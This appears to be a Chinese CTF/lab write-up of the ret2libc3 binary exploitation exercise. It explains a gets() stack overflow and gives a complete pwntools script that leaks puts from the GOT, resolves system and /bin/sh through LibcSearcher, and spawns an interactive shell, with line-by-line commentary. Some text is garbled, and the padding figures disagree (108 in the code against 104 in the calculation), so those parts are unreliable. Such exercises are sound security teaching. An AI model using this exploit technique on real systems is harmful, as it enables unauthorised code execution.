在此实验前,我们从简到难实验了ret2libc1,ret2libc2两个实验,对getshell有了一定了解,基本学会了如何在有无system及/bin/sh函数的情况下获取权限,在此以实验二的名为pwn的可执行文件为入手点,进行getshell。
首先,对ret2libc3可执行文件进行检测,
checksec ret2libc3
结果如图:
发现其不存在必要的保护。
其次将其进行IDA静态调试,发现其是没有system函数的,不能供我们直接执行,故我们需要进行已执行函数的got表泄露,来获取system与binsh的真实地址,从而执行他们,达到我们的目的。静态调试界面如下:
需要提的是,显而易见gets函数处存在栈溢出漏洞(申请64h大小,但是gets无限制),在gets之前已经运行了puts函数,故我们选择泄露puts函数的真实地址,因为其执行后真实地址等信息已经存入plt、got表内。
而怎么得到system函数的地址呢?这里需要用到两个知识点。
接下来便是写脚本、运行脚本。脚本主要内容如下:
from pwn import *
from LibcSearcher import *
import pwnlib
context.log_level=‘debug’
context.terminal=[‘gnome-terminal’,’-x’,‘sh’,’-c’]
p=process(’./ret2libc3’)
elf=ELF(’./ret2libc3’)
main=0x08048618
payload=‘a’*(0x6c+4)+p32(elf.plt[‘puts’])+p32(main)+p32(elf.got[‘puts’])
gdb.attach§
p.recvuntil(’?’)
p.sendline(payload)
puts=u32(p.recv(4))
print(‘puts’,hex(puts))
libc =LibcSearcher(‘puts’,puts)
libcbase=puts-libc.dump(‘puts’)
system=libcbase+libc.dump(‘system’)
bin_sh=libcbase+libc.dump(‘str_bin_sh’)
print(‘system’,hex(system))
print(‘binsh’,hex(bin_sh))
payload=‘a’*(0x64+4)+p32(system)+p32(0xdeadbeef)+p32(bin_sh)
p.sendline(payload)
p.interactive()
再进行比较详细的介绍(数字代表代码的第某行):
1:调用库函数–pwn
2:调用库函数–LibcSearcher
3:调用pwnlib库,是便于进行动态调试,我们加上的断点信息
5:调用函数,其包含一些调试的基础工具
6:用于打开一个新的终端直接在命令行
8:打开该可执行文件
9:以二进制文件形式打开可执行文件
10:写入参数,main的地址,通过IDA查看得到
11:写下payload,通过第一次执行到main函数,根据lea语句以及 e s p 与 esp与 esp与ebp寄存器的值,推算出此时缓冲区的大小为0x70,于是我们填充112(0x6c+4)个字符a到ret位置(下文讲述如何得到需要填充的字符个数),并将plt表中puts函数的内容填入,由于plt表内容是指向got表的地址,于是我们便得到了got表中puts函数的真实地址,接着在ret+4的单元存入main函数的地址,因为我们需要再次执行main,以求再次溢出,得到system与/bin/sh的真实地址。下面是plt表与got表项的对应关系;
此时第一次执行到main函数,我们算出此时需要填充的的字符个数=0xffbd98+0x4-0xffbd10-0x1c=0x70=112。
12:断点信息
13:接收掉原文件的输出语句内容,如果不接收,则输入的payload便无法与之交互,文件的执行就会一直处于等待状态
15:发送payload,进行栈的填充
17:得到puts函数的真实地址,recv(4)是指只接收四个字节的信息,因为puts的地址信息只存在于前四个字节,u32是指解包unpack,将一块数据解包成四个字节
19:输出十六进制下的puts函数真实地址
20:明确该版本下的LibcSearcher的类型
21:puts函数的真实地址减去偏移量(dump)得到基址
22:基址加上system的偏移量得到system的真实地址
23:基址加上字符串"str_bin_sh"的偏移量得到/bin/sh的真实地址
24:输出十六进制下的system函数真实地址
25:输出十六进制下的/bin/sh函数真实地址
26:写下payload,进行栈溢出,第二季执行到main函数时,同理,利用此时寄存器的值计算得到需要填充的字符个数,此时为108(0x64+4)个,接着将system的地址填充到返回ret处,将/bin/sh/填充到ret+8处,在ret+4处填入deadbeef,内容无关紧要,四个字节大小,可以理解为获取权限的一种标志吧。
此时填充个数= e b p + 4 − ( ebp+4-( ebp+4−(exp+1c)=0xf7f28d40+0x4-0xf7f28cc0-0x1c=0x68=104
28:发送payload,进行getshell
29:实现交互